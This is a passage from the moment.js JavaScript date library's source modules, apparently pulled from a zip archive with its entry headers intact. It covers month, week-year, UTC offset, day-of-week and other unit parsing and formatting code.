            this._shortMonthsParse[i] = new RegExp('^' + this.monthsShort(mom, '').replace('.', '') + '$', 'i');
        }
        if (!strict && !this._monthsParse[i]) {
            regex = '^' + this.months(mom, '') + '|^' + this.monthsShort(mom, '');
            this._monthsParse[i] = new RegExp(regex.replace('.', ''), 'i');
        }
        // test the regex
        if (strict && format === 'MMMM' && this._longMonthsParse[i].test(monthName)) {
            return i;
        } else if (strict && format === 'MMM' && this._shortMonthsParse[i].test(monthName)) {
            return i;
        } else if (!strict && this._monthsParse[i].test(monthName)) {
            return i;
        }
    }
}

// MOMENTS

export function setMonth (mom, value) {
    var dayOfMonth;

    if (!mom.isValid()) {
        // No op
        return mom;
    }

    if (typeof value === 'string') {
        if (/^\d+$/.test(value)) {
            value = toInt(value);
        } else {
            value = mom.localeData().monthsParse(value);
            // TODO: Another silent failure?
            if (!isNumber(value)) {
                return mom;
            }
        }
    }

    dayOfMonth = Math.min(mom.date(), daysInMonth(mom.year(), value));
    mom._d['set' + (mom._isUTC ? 'UTC' : '') + 'Month'](value, dayOfMonth);
    return mom;
}

export function getSetMonth (value) {
    if (value != null) {
        setMonth(this, value);
        hooks.updateOffset(this, true);
        return this;
    } else {
        return get(this, 'Month');
    }
}

export function getDaysInMonth () {
    return daysInMonth(this.year(), this.month());
}

var defaultMonthsShortRegex = matchWord;
export function monthsShortRegex (isStrict) {
    if (this._monthsParseExact) {
        if (!hasOwnProp(this, '_monthsRegex')) {
            computeMonthsParse.call(this);
        }
        if (isStrict) {
            return this._monthsShortStrictRegex;
        } else {
            return this._monthsShortRegex;
        }
    } else {
        if (!hasOwnProp(this, '_monthsShortRegex')) {
            this._monthsShortRegex = defaultMonthsShortRegex;
        }
        return this._monthsShortStrictRegex && isStrict ?
            this._monthsShortStrictRegex : this._monthsShortRegex;
    }
}

var defaultMonthsRegex = matchWord;
export function monthsRegex (isStrict) {
    if (this._monthsParseExact) {
        if (!hasOwnProp(this, '_monthsRegex')) {
            computeMonthsParse.call(this);
        }
        if (isStrict) {
            return this._monthsStrictRegex;
        } else {
            return this._monthsRegex;
        }
    } else {
        if (!hasOwnProp(this, '_monthsRegex')) {
            this._monthsRegex = defaultMonthsRegex;
        }
        return this._monthsStrictRegex && isStrict ?
            this._monthsStrictRegex : this._monthsRegex;
    }
}

function computeMonthsParse () {
    function cmpLenRev(a, b) {
        return b.length - a.length;
    }

    var shortPieces = [], longPieces = [], mixedPieces = [],
        i, mom;
    for (i = 0; i < 12; i++) {
        // make the regex if we don't have it already
        mom = createUTC([2000, i]);
        shortPieces.push(this.monthsShort(mom, ''));
        longPieces.push(this.months(mom, ''));
        mixedPieces.push(this.months(mom, ''));
        mixedPieces.push(this.monthsShort(mom, ''));
    }
    // Sorting makes sure if one month (or abbr) is a prefix of another it
    // will match the longer piece.
    shortPieces.sort(cmpLenRev);
    longPieces.sort(cmpLenRev);
    mixedPieces.sort(cmpLenRev);
    for (i = 0; i < 12; i++) {
        shortPieces[i] = regexEscape(shortPieces[i]);
        longPieces[i] = regexEscape(longPieces[i]);
    }
    for (i = 0; i < 24; i++) {
        mixedPieces[i] = regexEscape(mixedPieces[i]);
    }

    this._monthsRegex = new RegExp('^(' + mixedPieces.join('|') + ')', 'i');
    this._monthsShortRegex = this._monthsRegex;
    this._monthsStrictRegex = new RegExp('^(' + longPieces.join('|') + ')', 'i');
    this._monthsShortStrictRegex = new RegExp('^(' + shortPieces.join('|') + ')', 'i');
}
PK.��\�����lib/units/week-year.jsnu�[���import { addFormatToken } from '../format/format';
import { addUnitAlias } from './aliases';
import { addUnitPriority } from './priorities';
import { addRegexToken, match1to2, match1to4, match1to6, match2, match4, match6, matchSigned } from '../parse/regex';
import { addWeekParseToken } from '../parse/token';
import { weekOfYear, weeksInYear, dayOfYearFromWeeks } from './week-calendar-utils';
import toInt from '../utils/to-int';
import { hooks } from '../utils/hooks';
import { createLocal } from '../create/local';
import { createUTCDate } from '../create/date-from-array';

// FORMATTING

addFormatToken(0, ['gg', 2], 0, function () {
    return this.weekYear() % 100;
});

addFormatToken(0, ['GG', 2], 0, function () {
    return this.isoWeekYear() % 100;
});

function addWeekYearFormatToken (token, getter) {
    addFormatToken(0, [token, token.length], 0, getter);
}

addWeekYearFormatToken('gggg',     'weekYear');
addWeekYearFormatToken('ggggg',    'weekYear');
addWeekYearFormatToken('GGGG',  'isoWeekYear');
addWeekYearFormatToken('GGGGG', 'isoWeekYear');

// ALIASES

addUnitAlias('weekYear', 'gg');
addUnitAlias('isoWeekYear', 'GG');

// PRIORITY

addUnitPriority('weekYear', 1);
addUnitPriority('isoWeekYear', 1);


// PARSING

addRegexToken('G',      matchSigned);
addRegexToken('g',      matchSigned);
addRegexToken('GG',     match1to2, match2);
addRegexToken('gg',     match1to2, match2);
addRegexToken('GGGG',   match1to4, match4);
addRegexToken('gggg',   match1to4, match4);
addRegexToken('GGGGG',  match1to6, match6);
addRegexToken('ggggg',  match1to6, match6);

addWeekParseToken(['gggg', 'ggggg', 'GGGG', 'GGGGG'], function (input, week, config, token) {
    week[token.substr(0, 2)] = toInt(input);
});

addWeekParseToken(['gg', 'GG'], function (input, week, config, token) {
    week[token] = hooks.parseTwoDigitYear(input);
});

// MOMENTS

export function getSetWeekYear (input) {
    return getSetWeekYearHelper.call(this,
            input,
            this.week(),
            this.weekday(),
            this.localeData()._week.dow,
            this.localeData()._week.doy);
}

export function getSetISOWeekYear (input) {
    return getSetWeekYearHelper.call(this,
            input, this.isoWeek(), this.isoWeekday(), 1, 4);
}

export function getISOWeeksInYear () {
    return weeksInYear(this.year(), 1, 4);
}

export function getWeeksInYear () {
    var weekInfo = this.localeData()._week;
    return weeksInYear(this.year(), weekInfo.dow, weekInfo.doy);
}

function getSetWeekYearHelper(input, week, weekday, dow, doy) {
    var weeksTarget;
    if (input == null) {
        return weekOfYear(this, dow, doy).year;
    } else {
        weeksTarget = weeksInYear(input, dow, doy);
        if (week > weeksTarget) {
            week = weeksTarget;
        }
        return setWeekAll.call(this, input, week, weekday, dow, doy);
    }
}

function setWeekAll(weekYear, week, weekday, dow, doy) {
    var dayOfYearData = dayOfYearFromWeeks(weekYear, week, weekday, dow, doy),
        date = createUTCDate(dayOfYearData.year, 0, dayOfYearData.dayOfYear);

    this.year(date.getUTCFullYear());
    this.month(date.getUTCMonth());
    this.date(date.getUTCDate());
    return this;
}
PK.��\@�ʐ��lib/units/offset.jsnu�[���import zeroFill from '../utils/zero-fill';
import { createDuration } from '../duration/create';
import { addSubtract } from '../moment/add-subtract';
import { isMoment, copyConfig } from '../moment/constructor';
import { addFormatToken } from '../format/format';
import { addRegexToken, matchOffset, matchShortOffset } from '../parse/regex';
import { addParseToken } from '../parse/token';
import { createLocal } from '../create/local';
import { prepareConfig } from '../create/from-anything';
import { createUTC } from '../create/utc';
import isDate from '../utils/is-date';
import toInt from '../utils/to-int';
import isUndefined from '../utils/is-undefined';
import compareArrays from '../utils/compare-arrays';
import { hooks } from '../utils/hooks';

// FORMATTING

function offset (token, separator) {
    addFormatToken(token, 0, 0, function () {
        var offset = this.utcOffset();
        var sign = '+';
        if (offset < 0) {
            offset = -offset;
            sign = '-';
        }
        return sign + zeroFill(~~(offset / 60), 2) + separator + zeroFill(~~(offset) % 60, 2);
    });
}

offset('Z', ':');
offset('ZZ', '');

// PARSING

addRegexToken('Z',  matchShortOffset);
addRegexToken('ZZ', matchShortOffset);
addParseToken(['Z', 'ZZ'], function (input, array, config) {
    config._useUTC = true;
    config._tzm = offsetFromString(matchShortOffset, input);
});

// HELPERS

// timezone chunker
// '+10:00' > ['10',  '00']
// '-1530'  > ['-15', '30']
var chunkOffset = /([\+\-]|\d\d)/gi;

function offsetFromString(matcher, string) {
    var matches = (string || '').match(matcher);

    if (matches === null) {
        return null;
    }

    var chunk   = matches[matches.length - 1] || [];
    var parts   = (chunk + '').match(chunkOffset) || ['-', 0, 0];
    var minutes = +(parts[1] * 60) + toInt(parts[2]);

    return minutes === 0 ?
      0 :
      parts[0] === '+' ? minutes : -minutes;
}

// Return a moment from input, that is local/utc/zone equivalent to model.
export function cloneWithOffset(input, model) {
    var res, diff;
    if (model._isUTC) {
        res = model.clone();
        diff = (isMoment(input) || isDate(input) ? input.valueOf() : createLocal(input).valueOf()) - res.valueOf();
        // Use low-level api, because this fn is low-level api.
        res._d.setTime(res._d.valueOf() + diff);
        hooks.updateOffset(res, false);
        return res;
    } else {
        return createLocal(input).local();
    }
}

function getDateOffset (m) {
    // On Firefox.24 Date#getTimezoneOffset returns a floating point.
    // https://github.com/moment/moment/pull/1871
    return -Math.round(m._d.getTimezoneOffset() / 15) * 15;
}

// HOOKS

// This function will be called whenever a moment is mutated.
// It is intended to keep the offset in sync with the timezone.
hooks.updateOffset = function () {};

// MOMENTS

// keepLocalTime = true means only change the timezone, without
// affecting the local hour. So 5:31:26 +0300 --[utcOffset(2, true)]-->
// 5:31:26 +0200 It is possible that 5:31:26 doesn't exist with offset
// +0200, so we adjust the time as needed, to be valid.
//
// Keeping the time actually adds/subtracts (one hour)
// from the actual represented time. That is why we call updateOffset
// a second time. In case it wants us to change the offset again
// _changeInProgress == true case, then we have to adjust, because
// there is no such time in the given timezone.
export function getSetOffset (input, keepLocalTime, keepMinutes) {
    var offset = this._offset || 0,
        localAdjust;
    if (!this.isValid()) {
        return input != null ? this : NaN;
    }
    if (input != null) {
        if (typeof input === 'string') {
            input = offsetFromString(matchShortOffset, input);
            if (input === null) {
                return this;
            }
        } else if (Math.abs(input) < 16 && !keepMinutes) {
            input = input * 60;
        }
        if (!this._isUTC && keepLocalTime) {
            localAdjust = getDateOffset(this);
        }
        this._offset = input;
        this._isUTC = true;
        if (localAdjust != null) {
            this.add(localAdjust, 'm');
        }
        if (offset !== input) {
            if (!keepLocalTime || this._changeInProgress) {
                addSubtract(this, createDuration(input - offset, 'm'), 1, false);
            } else if (!this._changeInProgress) {
                this._changeInProgress = true;
                hooks.updateOffset(this, true);
                this._changeInProgress = null;
            }
        }
        return this;
    } else {
        return this._isUTC ? offset : getDateOffset(this);
    }
}

export function getSetZone (input, keepLocalTime) {
    if (input != null) {
        if (typeof input !== 'string') {
            input = -input;
        }

        this.utcOffset(input, keepLocalTime);

        return this;
    } else {
        return -this.utcOffset();
    }
}

export function setOffsetToUTC (keepLocalTime) {
    return this.utcOffset(0, keepLocalTime);
}

export function setOffsetToLocal (keepLocalTime) {
    if (this._isUTC) {
        this.utcOffset(0, keepLocalTime);
        this._isUTC = false;

        if (keepLocalTime) {
            this.subtract(getDateOffset(this), 'm');
        }
    }
    return this;
}

export function setOffsetToParsedOffset () {
    if (this._tzm != null) {
        this.utcOffset(this._tzm, false, true);
    } else if (typeof this._i === 'string') {
        var tZone = offsetFromString(matchOffset, this._i);
        if (tZone != null) {
            this.utcOffset(tZone);
        }
        else {
            this.utcOffset(0, true);
        }
    }
    return this;
}

export function hasAlignedHourOffset (input) {
    if (!this.isValid()) {
        return false;
    }
    input = input ? createLocal(input).utcOffset() : 0;

    return (this.utcOffset() - input) % 60 === 0;
}

export function isDaylightSavingTime () {
    return (
        this.utcOffset() > this.clone().month(0).utcOffset() ||
        this.utcOffset() > this.clone().month(5).utcOffset()
    );
}

export function isDaylightSavingTimeShifted () {
    if (!isUndefined(this._isDSTShifted)) {
        return this._isDSTShifted;
    }

    var c = {};

    copyConfig(c, this);
    c = prepareConfig(c);

    if (c._a) {
        var other = c._isUTC ? createUTC(c._a) : createLocal(c._a);
        this._isDSTShifted = this.isValid() &&
            compareArrays(c._a, other.toArray()) > 0;
    } else {
        this._isDSTShifted = false;
    }

    return this._isDSTShifted;
}

export function isLocal () {
    return this.isValid() ? !this._isUTC : false;
}

export function isUtcOffset () {
    return this.isValid() ? this._isUTC : false;
}

export function isUtc () {
    return this.isValid() ? this._isUTC && this._offset === 0 : false;
}
PK.��\���lib/units/day-of-year.jsnu�[���import { addFormatToken } from '../format/format';
import { addUnitAlias } from './aliases';
import { addUnitPriority } from './priorities';
import { addRegexToken, match3, match1to3 } from '../parse/regex';
import { daysInYear } from './year';
import { createUTCDate } from '../create/date-from-array';
import { addParseToken } from '../parse/token';
import toInt from '../utils/to-int';

// FORMATTING

addFormatToken('DDD', ['DDDD', 3], 'DDDo', 'dayOfYear');

// ALIASES

addUnitAlias('dayOfYear', 'DDD');

// PRIORITY
addUnitPriority('dayOfYear', 4);

// PARSING

addRegexToken('DDD',  match1to3);
addRegexToken('DDDD', match3);
addParseToken(['DDD', 'DDDD'], function (input, array, config) {
    config._dayOfYear = toInt(input);
});

// HELPERS

// MOMENTS

export function getSetDayOfYear (input) {
    var dayOfYear = Math.round((this.clone().startOf('day') - this.clone().startOf('year')) / 864e5) + 1;
    return input == null ? dayOfYear : this.add((input - dayOfYear), 'd');
}
PK.��\�q#�fflib/units/timestamp.jsnu�[���import { addFormatToken } from '../format/format';
import { addRegexToken, matchTimestamp, matchSigned } from '../parse/regex';
import { addParseToken } from '../parse/token';
import toInt from '../utils/to-int';

// FORMATTING

addFormatToken('X', 0, 0, 'unix');
addFormatToken('x', 0, 0, 'valueOf');

// PARSING

addRegexToken('x', matchSigned);
addRegexToken('X', matchTimestamp);
addParseToken('X', function (input, array, config) {
    config._d = new Date(parseFloat(input, 10) * 1000);
});
addParseToken('x', function (input, array, config) {
    config._d = new Date(toInt(input));
});
PK.��\ggf�� lib/units/week-calendar-utils.jsnu�[���import { daysInYear } from './year';
import { createLocal } from '../create/local';
import { createUTCDate } from '../create/date-from-array';

// start-of-first-week - start-of-year
function firstWeekOffset(year, dow, doy) {
    var // first-week day -- which january is always in the first week (4 for iso, 1 for other)
        fwd = 7 + dow - doy,
        // first-week day local weekday -- which local weekday is fwd
        fwdlw = (7 + createUTCDate(year, 0, fwd).getUTCDay() - dow) % 7;

    return -fwdlw + fwd - 1;
}

// https://en.wikipedia.org/wiki/ISO_week_date#Calculating_a_date_given_the_year.2C_week_number_and_weekday
export function dayOfYearFromWeeks(year, week, weekday, dow, doy) {
    var localWeekday = (7 + weekday - dow) % 7,
        weekOffset = firstWeekOffset(year, dow, doy),
        dayOfYear = 1 + 7 * (week - 1) + localWeekday + weekOffset,
        resYear, resDayOfYear;

    if (dayOfYear <= 0) {
        resYear = year - 1;
        resDayOfYear = daysInYear(resYear) + dayOfYear;
    } else if (dayOfYear > daysInYear(year)) {
        resYear = year + 1;
        resDayOfYear = dayOfYear - daysInYear(year);
    } else {
        resYear = year;
        resDayOfYear = dayOfYear;
    }

    return {
        year: resYear,
        dayOfYear: resDayOfYear
    };
}

export function weekOfYear(mom, dow, doy) {
    var weekOffset = firstWeekOffset(mom.year(), dow, doy),
        week = Math.floor((mom.dayOfYear() - weekOffset - 1) / 7) + 1,
        resWeek, resYear;

    if (week < 1) {
        resYear = mom.year() - 1;
        resWeek = week + weeksInYear(resYear, dow, doy);
    } else if (week > weeksInYear(mom.year(), dow, doy)) {
        resWeek = week - weeksInYear(mom.year(), dow, doy);
        resYear = mom.year() + 1;
    } else {
        resYear = mom.year();
        resWeek = week;
    }

    return {
        week: resWeek,
        year: resYear
    };
}

export function weeksInYear(year, dow, doy) {
    var weekOffset = firstWeekOffset(year, dow, doy),
        weekOffsetNext = firstWeekOffset(year + 1, dow, doy);
    return (daysInYear(year) - weekOffset + weekOffsetNext) / 7;
}
PK.��\:�$�OOlib/units/day-of-month.jsnu�[���import { makeGetSet } from '../moment/get-set';
import { addFormatToken } from '../format/format';
import { addUnitAlias } from './aliases';
import { addUnitPriority } from './priorities';
import { addRegexToken, match1to2, match2 } from '../parse/regex';
import { addParseToken } from '../parse/token';
import { DATE } from './constants';
import toInt from '../utils/to-int';

// FORMATTING

addFormatToken('D', ['DD', 2], 'Do', 'date');

// ALIASES

addUnitAlias('date', 'D');

// PRIORITY
addUnitPriority('date', 9);

// PARSING

addRegexToken('D',  match1to2);
addRegexToken('DD', match1to2, match2);
addRegexToken('Do', function (isStrict, locale) {
    // TODO: Remove "ordinalParse" fallback in next major release.
    return isStrict ?
      (locale._dayOfMonthOrdinalParse || locale._ordinalParse) :
      locale._dayOfMonthOrdinalParseLenient;
});

addParseToken(['D', 'DD'], DATE);
addParseToken('Do', function (input, array) {
    array[DATE] = toInt(input.match(match1to2)[0]);
});

// MOMENTS

export var getSetDayOfMonth = makeGetSet('Date', true);
PK.��\J�99lib/units/aliases.jsnu�[���import hasOwnProp from '../utils/has-own-prop';

var aliases = {};

export function addUnitAlias (unit, shorthand) {
    var lowerCase = unit.toLowerCase();
    aliases[lowerCase] = aliases[lowerCase + 's'] = aliases[shorthand] = unit;
}

export function normalizeUnits(units) {
    return typeof units === 'string' ? aliases[units] || aliases[units.toLowerCase()] : undefined;
}

export function normalizeObjectUnits(inputObject) {
    var normalizedInput = {},
        normalizedProp,
        prop;

    for (prop in inputObject) {
        if (hasOwnProp(inputObject, prop)) {
            normalizedProp = normalizeUnits(prop);
            if (normalizedProp) {
                normalizedInput[normalizedProp] = inputObject[prop];
            }
        }
    }

    return normalizedInput;
}

PK.��\h9}slib/units/quarter.jsnu�[���import { addFormatToken } from '../format/format';
import { addUnitAlias } from './aliases';
import { addUnitPriority } from './priorities';
import { addRegexToken, match1 } from '../parse/regex';
import { addParseToken } from '../parse/token';
import { MONTH } from './constants';
import toInt from '../utils/to-int';

// FORMATTING

addFormatToken('Q', 0, 'Qo', 'quarter');

// ALIASES

addUnitAlias('quarter', 'Q');

// PRIORITY

addUnitPriority('quarter', 7);

// PARSING

addRegexToken('Q', match1);
addParseToken('Q', function (input, array) {
    array[MONTH] = (toInt(input) - 1) * 3;
});

// MOMENTS

export function getSetQuarter (input) {
    return input == null ? Math.ceil((this.month() + 1) / 3) : this.month((input - 1) * 3 + this.month() % 3);
}
PK.��\��>��lib/units/priorities.jsnu�[���var priorities = {};

export function addUnitPriority(unit, priority) {
    priorities[unit] = priority;
}

export function getPrioritizedUnits(unitsObj) {
    var units = [];
    for (var u in unitsObj) {
        units.push({unit: u, priority: priorities[u]});
    }
    units.sort(function (a, b) {
        return a.priority - b.priority;
    });
    return units;
}
PK.��\�B��.0.0lib/units/day-of-week.jsnu�[���import { addFormatToken } from '../format/format';
import { addUnitAlias } from './aliases';
import { addUnitPriority } from './priorities';
import { addRegexToken, match1to2, matchWord, regexEscape } from '../parse/regex';
import { addWeekParseToken } from '../parse/token';
import toInt from '../utils/to-int';
import isArray from '../utils/is-array';
import indexOf from '../utils/index-of';
import hasOwnProp from '../utils/has-own-prop';
import { createUTC } from '../create/utc';
import getParsingFlags from '../create/parsing-flags';

// FORMATTING

addFormatToken('d', 0, 'do', 'day');

addFormatToken('dd', 0, 0, function (format) {
    return this.localeData().weekdaysMin(this, format);
});

addFormatToken('ddd', 0, 0, function (format) {
    return this.localeData().weekdaysShort(this, format);
});

addFormatToken('dddd', 0, 0, function (format) {
    return this.localeData().weekdays(this, format);
});

addFormatToken('e', 0, 0, 'weekday');
addFormatToken('E', 0, 0, 'isoWeekday');

// ALIASES

addUnitAlias('day', 'd');
addUnitAlias('weekday', 'e');
addUnitAlias('isoWeekday', 'E');

// PRIORITY
addUnitPriority('day', 11);
addUnitPriority('weekday', 11);
addUnitPriority('isoWeekday', 11);

// PARSING

addRegexToken('d',    match1to2);
addRegexToken('e',    match1to2);
addRegexToken('E',    match1to2);
addRegexToken('dd',   function (isStrict, locale) {
    return locale.weekdaysMinRegex(isStrict);
});
addRegexToken('ddd',   function (isStrict, locale) {
    return locale.weekdaysShortRegex(isStrict);
});
addRegexToken('dddd',   function (isStrict, locale) {
    return locale.weekdaysRegex(isStrict);
});

addWeekParseToken(['dd', 'ddd', 'dddd'], function (input, week, config, token) {
    var weekday = config._locale.weekdaysParse(input, token, config._strict);
    // if we didn't get a weekday name, mark the date as invalid
    if (weekday != null) {
        week.d = weekday;
    } else {
        getParsingFlags(config).invalidWeekday = input;
    }
});

addWeekParseToken(['d', 'e', 'E'], function (input, week, config, token) {
    week[token] = toInt(input);
});

// HELPERS

function parseWeekday(input, locale) {
    if (typeof input !== 'string') {
        return input;
    }

    if (!isNaN(input)) {
        return parseInt(input, 10);
    }

    input = locale.weekdaysParse(input);
    if (typeof input === 'number') {
        return input;
    }

    return null;
}

function parseIsoWeekday(input, locale) {
    if (typeof input === 'string') {
        return locale.weekdaysParse(input) % 7 || 7;
    }
    return isNaN(input) ? null : input;
}

// LOCALES

export var defaultLocaleWeekdays = 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_');
export function localeWeekdays (m, format) {
    if (!m) {
        return isArray(this._weekdays) ? this._weekdays :
            this._weekdays['standalone'];
    }
    return isArray(this._weekdays) ? this._weekdays[m.day()] :
        this._weekdays[this._weekdays.isFormat.test(format) ? 'format' : 'standalone'][m.day()];
}

export var defaultLocaleWeekdaysShort = 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_');
export function localeWeekdaysShort (m) {
    return (m) ? this._weekdaysShort[m.day()] : this._weekdaysShort;
}

export var defaultLocaleWeekdaysMin = 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_');
export function localeWeekdaysMin (m) {
    return (m) ? this._weekdaysMin[m.day()] : this._weekdaysMin;
}

function handleStrictParse(weekdayName, format, strict) {
    var i, ii, mom, llc = weekdayName.toLocaleLowerCase();
    if (!this._weekdaysParse) {
        this._weekdaysParse = [];
        this._shortWeekdaysParse = [];
        this._minWeekdaysParse = [];

        for (i = 0; i < 7; ++i) {
            mom = createUTC([2000, 1]).day(i);
            this._minWeekdaysParse[i] = this.weekdaysMin(mom, '').toLocaleLowerCase();
            this._shortWeekdaysParse[i] = this.weekdaysShort(mom, '').toLocaleLowerCase();
            this._weekdaysParse[i] = this.weekdays(mom, '').toLocaleLowerCase();
        }
    }

    if (strict) {
        if (format === 'dddd') {
            ii = indexOf.call(this._weekdaysParse, llc);
            return ii !== -1 ? ii : null;
        } else if (format === 'ddd') {
            ii = indexOf.call(this._shortWeekdaysParse, llc);
            return ii !== -1 ? ii : null;
        } else {
            ii = indexOf.call(this._minWeekdaysParse, llc);
            return ii !== -1 ? ii : null;
        }
    } else {
        if (format === 'dddd') {
            ii = indexOf.call(this._weekdaysParse, llc);
            if (ii !== -1) {
                return ii;
            }
            ii = indexOf.call(this._shortWeekdaysParse, llc);
            if (ii !== -1) {
                return ii;
            }
            ii = indexOf.call(this._minWeekdaysParse, llc);
            return ii !== -1 ? ii : null;
        } else if (format === 'ddd') {
            ii = indexOf.call(this._shortWeekdaysParse, llc);
            if (ii !== -1) {
                return ii;
            }
            ii = indexOf.call(this._weekdaysParse, llc);
            if (ii !== -1) {
                return ii;
            }
            ii = indexOf.call(this._minWeekdaysParse, llc);
            return ii !== -1 ? ii : null;
        } else {
            ii = indexOf.call(this._minWeekdaysParse, llc);
            if (ii !== -1) {
                return ii;
            }
            ii = indexOf.call(this._weekdaysParse, llc);
            if (ii !== -1) {
                return ii;
            }
            ii = indexOf.call(this._shortWeekdaysParse, llc);
            return ii !== -1 ? ii : null;
        }
    }
}

export function localeWeekdaysParse (weekdayName, format, strict) {
    var i, mom, regex;

    if (this._weekdaysParseExact) {
        return handleStrictParse.call(this, weekdayName, format, strict);
    }

    if (!this._weekdaysParse) {
        this._weekdaysParse = [];
        this._minWeekdaysParse = [];
        this._shortWeekdaysParse = [];
        this._fullWeekdaysParse = [];
    }

    for (i = 0; i < 7; i++) {
        // make the regex if we don't have it already

        mom = createUTC([2000, 1]).day(i);
        if (strict && !this._fullWeekdaysParse[i]) {
            this._fullWeekdaysParse[i] = new RegExp('^' + this.weekdays(mom, '').replace('.', '\\.?') + '$', 'i');
            this._shortWeekdaysParse[i] = new RegExp('^' + this.weekdaysShort(mom, '').replace('.', '\\.?') + '$', 'i');
            this._minWeekdaysParse[i] = new RegExp('^' + this.weekdaysMin(mom, '').replace('.', '\\.?') + '$', 'i');
        }
        if (!this._weekdaysParse[i]) {
            regex = '^' + this.weekdays(mom, '') + '|^' + this.weekdaysShort(mom, '') + '|^' + this.weekdaysMin(mom, '');
            this._weekdaysParse[i] = new RegExp(regex.replace('.', ''), 'i');
        }
        // test the regex
        if (strict && format === 'dddd' && this._fullWeekdaysParse[i].test(weekdayName)) {
            return i;
        } else if (strict && format === 'ddd' && this._shortWeekdaysParse[i].test(weekdayName)) {
            return i;
        } else if (strict && format === 'dd' && this._minWeekdaysParse[i].test(weekdayName)) {
            return i;
        } else if (!strict && this._weekdaysParse[i].test(weekdayName)) {
            return i;
        }
    }
}

// MOMENTS

export function getSetDayOfWeek (input) {
    if (!this.isValid()) {
        return input != null ? this : NaN;
    }
    var day = this._isUTC ? this._d.getUTCDay() : this._d.getDay();
    if (input != null) {
        input = parseWeekday(input, this.localeData());
        return this.add(input - day, 'd');
    } else {
        return day;
    }
}

export function getSetLocaleDayOfWeek (input) {
    if (!this.isValid()) {
        return input != null ? this : NaN;
    }
    var weekday = (this.day() + 7 - this.localeData()._week.dow) % 7;
    return input == null ? weekday : this.add(input - weekday, 'd');
}

export function getSetISODayOfWeek (input) {
    if (!this.isValid()) {
        return input != null ? this : NaN;
    }

    // behaves the same as moment#day except
    // as a getter, returns 7 instead of 0 (1-7 range instead of 0-6)
    // as a setter, sunday should belong to the previous week.

    if (input != null) {
        var weekday = parseIsoWeekday(input, this.localeData());
        return this.day(this.day() % 7 ? weekday : weekday - 7);
    } else {
        return this.day() || 7;
    }
}

var defaultWeekdaysRegex = matchWord;
export function weekdaysRegex (isStrict) {
    if (this._weekdaysParseExact) {
        if (!hasOwnProp(this, '_weekdaysRegex')) {
            computeWeekdaysParse.call(this);
        }
        if (isStrict) {
            return this._weekdaysStrictRegex;
        } else {
            return this._weekdaysRegex;
        }
    } else {
        if (!hasOwnProp(this, '_weekdaysRegex')) {
            this._weekdaysRegex = defaultWeekdaysRegex;
        }
        return this._weekdaysStrictRegex && isStrict ?
            this._weekdaysStrictRegex : this._weekdaysRegex;
    }
}

var defaultWeekdaysShortRegex = matchWord;
export function weekdaysShortRegex (isStrict) {
    if (this._weekdaysParseExact) {
        if (!hasOwnProp(this, '_weekdaysRegex')) {
            computeWeekdaysParse.call(this);
        }
        if (isStrict) {
            return this._weekdaysShortStrictRegex;
        } else {
            return this._weekdaysShortRegex;
        }
    } else {
        if (!hasOwnProp(this, '_weekdaysShortRegex')) {
            this._weekdaysShortRegex = defaultWeekdaysShortRegex;
        }
        return this._weekdaysShortStrictRegex && isStrict ?
            this._weekdaysShortStrictRegex : this._weekdaysShortRegex;
    }
}

var defaultWeekdaysMinRegex = matchWord;
export function weekdaysMinRegex (isStrict) {
    if (this._weekdaysParseExact) {
        if (!hasOwnProp(this, '_weekdaysRegex')) {
            computeWeekdaysParse.call(this);
        }
        if (isStrict) {
            return this._weekdaysMinStrictRegex;
        } else {
            return this._weekdaysMinRegex;
        }
    } else {
        if (!hasOwnProp(this, '_weekdaysMinRegex')) {
            this._weekdaysMinRegex = defaultWeekdaysMinRegex;
        }
        return this._weekdaysMinStrictRegex && isStrict ?
            this._weekdaysMinStrictRegex : this._weekdaysMinRegex;
    }
}


function computeWeekdaysParse () {
    function cmpLenRev(a, b) {
        return b.length - a.length;
    }

    var minPieces = [], shortPieces = [], longPieces = [], mixedPieces = [],
        i, mom, minp, shortp, longp;
    for (i = 0; i < 7; i++) {
        // make the regex if we don't have it already
        mom = createUTC([2000, 1]).day(i);
        minp = this.weekdaysMin(mom, '');
        shortp = this.weekdaysShort(mom, '');
        longp = this.weekdays(mom, '');
        minPieces.push(minp);
        shortPieces.push(shortp);
        longPieces.push(longp);
        mixedPieces.push(minp);
        mixedPieces.push(shortp);
        mixedPieces.push(longp);
    }
    // Sorting makes sure if one weekday (or abbr) is a prefix of another it
    // will match the longer piece.
    minPieces.sort(cmpLenRev);
    shortPieces.sort(cmpLenRev);
    longPieces.sort(cmpLenRev);
    mixedPieces.sort(cmpLenRev);
    for (i = 0; i < 7; i++) {
        shortPieces[i] = regexEscape(shortPieces[i]);
        longPieces[i] = regexEscape(longPieces[i]);
        mixedPieces[i] = regexEscape(mixedPieces[i]);
    }

    this._weekdaysRegex = new RegExp('^(' + mixedPieces.join('|') + ')', 'i');
    this._weekdaysShortRegex = this._weekdaysRegex;
    this._weekdaysMinRegex = this._weekdaysRegex;

    this._weekdaysStrictRegex = new RegExp('^(' + longPieces.join('|') + ')', 'i');
    this._weekdaysShortStrictRegex = new RegExp('^(' + shortPieces.join('|') + ')', 'i');
    this._weekdaysMinStrictRegex = new RegExp('^(' + minPieces.join('|') + ')', 'i');
}
PK.��\��RXXlib/units/timezone.jsnu�[���import { addFormatToken } from '../format/format';

// FORMATTING

addFormatToken('z',  0, 0, 'zoneAbbr');
addFormatToken('zz', 0, 0, 'zoneName');

// MOMENTS

export function getZoneAbbr () {
    return this._isUTC ? 'UTC' : '';
}

export function getZoneName () {
    return this._isUTC ? 'Coordinated Universal Time' : '';
}
PK.��\ ���lib/units/units.jsnu�[���// Side effect imports
import './day-of-month';
import './day-of-week';
import './day-of-year';
import './hour';
import './millisecond';
import './minute';
import './month';
import './offset';
import './quarter';
import './second';
import './timestamp';
import './timezone';
import './week-year';
import './week';
import './year';

import { normalizeUnits } from './aliases';

export { normalizeUnits };
PK.��\�n&��lib/units/minute.jsnu�[���import { makeGetSet } from '../moment/get-set';
import { addFormatToken } from '../format/format';
import { addUnitAlias } from './aliases';
import { addUnitPriority } from './priorities';
import { addRegexToken, match1to2, match2 } from '../parse/regex';
import { addParseToken } from '../parse/token';
import { MINUTE } from './constants';

// FORMATTING

addFormatToken('m', ['mm', 2], 0, 'minute');

// ALIASES

addUnitAlias('minute', 'm');

// PRIORITY

addUnitPriority('minute', 14);

// PARSING

addRegexToken('m',  match1to2);
addRegexToken('mm', match1to2, match2);
